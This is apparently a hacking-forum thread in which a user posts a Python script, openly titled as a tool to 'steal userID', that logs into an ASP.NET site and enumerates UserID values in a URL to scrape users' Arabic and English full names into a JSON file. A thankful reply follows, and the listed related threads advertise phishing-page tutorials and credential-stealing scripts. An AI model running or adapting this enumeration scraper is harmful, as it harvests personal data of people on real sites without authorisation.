script to steal userID after login and import it In JSON file
by blackhome - Monday July 31, 2023 at 06:45 PM
#1
# this is script to steal userID after login and import it In JSON file --------------------------------------------------------------------------------- import requests from bs4 import BeautifulSoup import json # Function to get the __VIEWSTATE from the HTMLdef get_view_state(html):     soup = BeautifulSoup(html, 'html.parser')     view_state = soup.find('input', attrs={'name': '__VIEWSTATE'})['value']     return view_state # Function to get the __EVENTVALIDATION from the HTMLdef get_event_validation(html):     soup = BeautifulSoup(html, 'html.parser')     event_validation = soup.find('input', attrs={'name': '__EVENTVALIDATION'})['value']     return event_validation # Function to extract data from a BeautifulSoup elementdef extract_data(element, default='N/A'):     return element.text.strip() if element else default # Function to save user information to a JSON filedef save_to_json(data, filename):     with open(filename, 'w', encoding='utf-8') as f:         json.dump(data, f, ensure_ascii=False, indent=4) # Function to login and fetch user informationdef login_and_fetch_user_info(username, password, user_id_range):     login_url = "https://URL/Login.aspx"    post_url = "https://URL/login.aspx?BackURL=/Index.aspx"     # Start a session    session = requests.Session()     # Send a GET request to the login page to get the required cookies and ViewState    response = session.get(login_url)     view_state = get_view_state(response.text)     event_validation = get_event_validation(response.text)     # Prepare the login data    login_data = {         "__VIEWSTATE": view_state,         "__EVENTVALIDATION": event_validation,         "txt_UserName": username,         "txt_Password": password,         "btn_login": "تسجيل الدخول"    }     # Send a POST request to login    response = session.post(post_url, data=login_data)     # Check if login was successful    if "Login failed" in response.text:         print("Login failed.")         return None     else:         print("Login successful.")         # List to store user information for all UserIDs        all_user_info = []         # Fetch user information for each user ID in the range        for user_id in range(user_id_range[0], user_id_range[1] + 1):             user_info_url = f"https://URL/users/userid.aspx?UserID={user_id}"            response = session.get(user_info_url)             # Check if the request was successful            if response.status_code == 200:                 # Parse the HTML to extract user information                soup = BeautifulSoup(response.text, 'html.parser')                 user_info = {}                 # Extract user information from the HTML and add it to the dictionary                user_info["UserID"] = user_id                 user_info["FullName_Arabic"] = extract_data(soup.find('p', attrs={'id': 'NAME_ID_FRONTEND'}))                 user_info["FullName_English"] = extract_data(soup.find('p', attrs={'id': ' NAME_ID_FRONTEND '}))                 # ADD MORE ID_HTML_TAG                 # Display user information (debugging)                print(f"User Information for UserID {user_id}: {user_info}")                 # Add user_info to the list of all_user_info                all_user_info.append(user_info)             else:                 print(f"Failed to get user information for UserID: {user_id}.")         # Export all_user_info as a JSON file        json_filename = "all_user_info.json"        save_to_json(all_user_info, json_filename)         print(f"All user information has been exported to {json_filename}") # Replace 'your_username' and 'your_password' with the correct username and passwordusername = 'user_name'password = 'password'start_user_id = int(input('Enter the start user ID: ')) end_user_id = int(input('Enter the end user ID: ')) login_and_fetch_user_info(username, password, (start_user_id, end_user_id))
Reply
#2
thanks for this bro
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Python Script To Steal Any TikTok Username bs0d 301 14,633 03-27-2026, 03:56 PM
Last Post: tokon308222
  ✨ [TUTORIAL] MAKE A PHISHING PAGE⚡STEAL LOGIN CREDENTIALS FROM ANY WEBSITE ✨ MINDHUNTER 271 17,196 02-05-2026, 05:22 PM
Last Post: Raiii
  [SCRIPT] GOOGLE DORKS GENERATOR Hazura 62 9,687 01-31-2026, 03:47 AM
Last Post: ahmedovic
  Getting Started with Aimbots and Wallhacks tounsi 4 119 01-11-2026, 05:04 PM
Last Post: AnarchyBin
  [DISCORD] DM All member bot script iCrayTest 0 89 12-24-2025, 05:59 PM
Last Post: iCrayTest



 Users browsing this thread: 1 Guest(s)